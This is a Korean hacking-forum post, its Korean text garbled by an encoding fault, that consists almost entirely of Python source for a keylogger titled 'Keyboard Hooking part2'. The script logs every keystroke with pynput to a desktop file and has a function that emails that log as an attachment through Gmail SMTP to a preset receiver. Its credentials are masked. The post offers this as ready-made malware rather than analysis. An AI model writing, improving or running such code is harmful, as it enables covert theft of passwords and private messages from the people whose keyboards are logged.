1617, 1/81 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   ÇØÅ·ÀßÇϰí½Í´Ù
   http://¾øÀ½
   Keyboard Hooking -part2 - (Python3 ver)

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=8585 [º¹»ç]


import os
import smtplib
import time
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard

# ¹ÙÅÁÈ­¸é °æ·Î ¼³Á¤
desktop_path = os.path.join(os.path.expanduser("~"), "Desktop", "Űº¸µå_ÇØÅ·.txt")

# Ű ÀÔ·ÂÀ» ÆÄÀÏ¿¡ ±â·ÏÇÏ´Â ÇÔ¼ö
def on_press(key):
    try:
        with open(desktop_path, "a") as file:
            file.write(f"{key.char}")  # ÀÏ¹Ý Å°´Â ±×´ë·Î ÀúÀå
    except AttributeError:
        with open(desktop_path, "a") as file:
            file.write(f"[{key}]")  # Ư¼ö Ű´Â ´ë°ýÈ£·Î ¹­¾î ÀúÀå

# Űº¸µå ¸®½º³Ê ¼³Á¤
def start_keylogger():
    with keyboard.Listener(on_press=on_press) as listener:
        listener.join()

# À̸ÞÀÏ Àü¼Û ÇÔ¼ö
def send_email():
    sender_email = "????????????????????????"  # ¹ß½ÅÀÚ À̸ÞÀÏ
    receiver_email = "???????????????????????"  # ¼ö½ÅÀÚ À̸ÞÀÏ
    password = "??????????????????????????"

    # À̸ÞÀÏ ¸Þ½ÃÁö ±¸¼º
    message = MIMEMultipart()
    message["From"] = sender_email
    message["To"] = receiver_email
    message["Subject"] = "Űº¸µå ·Î±× ÆÄÀÏ"

    # ÆÄÀÏ Ã·ºÎ
    with open(desktop_path, "rb") as file:
        part = MIMEBase("application", "octet-stream")
        part.set_payload(file.read())
        encoders.encode_base64(part)
        part.add_header("Content-Disposition", f"attachment; filename= Űº¸µå_ÇØÅ·.txt")
        message.attach(part)

    # Gmail SMTP ¼­¹ö¸¦ ÅëÇØ À̸ÞÀÏ Àü¼Û
    try:
        with smtplib.SMTP("smtp.gmail.com", 587) as server:
            server.starttls()  # TLS º¸¾È ¿¬°á
            server.login(sender_email, password)
            server.sendmail(sender_email, receiver_email, message.as_string())
        print("À̸ÞÀÏ Àü¼Û ¼º°ø")
    except Exception as e:
        print(f"À̸ÞÀÏ Àü¼Û ½ÇÆÐ: {e}")

# ۷αëÀ» ½ÃÀÛÇϰí, ÀÏÁ¤ ½Ã°£ ÈÄ À̸ÞÀÏ Àü¼Û
if __name__ == "__main__":
    try:
        # Űº¸µå ÀÔ·Â ±â·Ï ½ÃÀÛ
        start_keylogger()
        
        # ÀÏÁ¤ ½Ã°£ ÈÄ À̸ÞÀÏ Àü¼Û (¿¹: 10ÃÊ ÈÄ)
        time.sleep(10)
        send_email()
    except Exception as e:
        print(f"¿À·ù ¹ß»ý: {e}")

  Hit : 1563     Date : 2024/11/20 04:41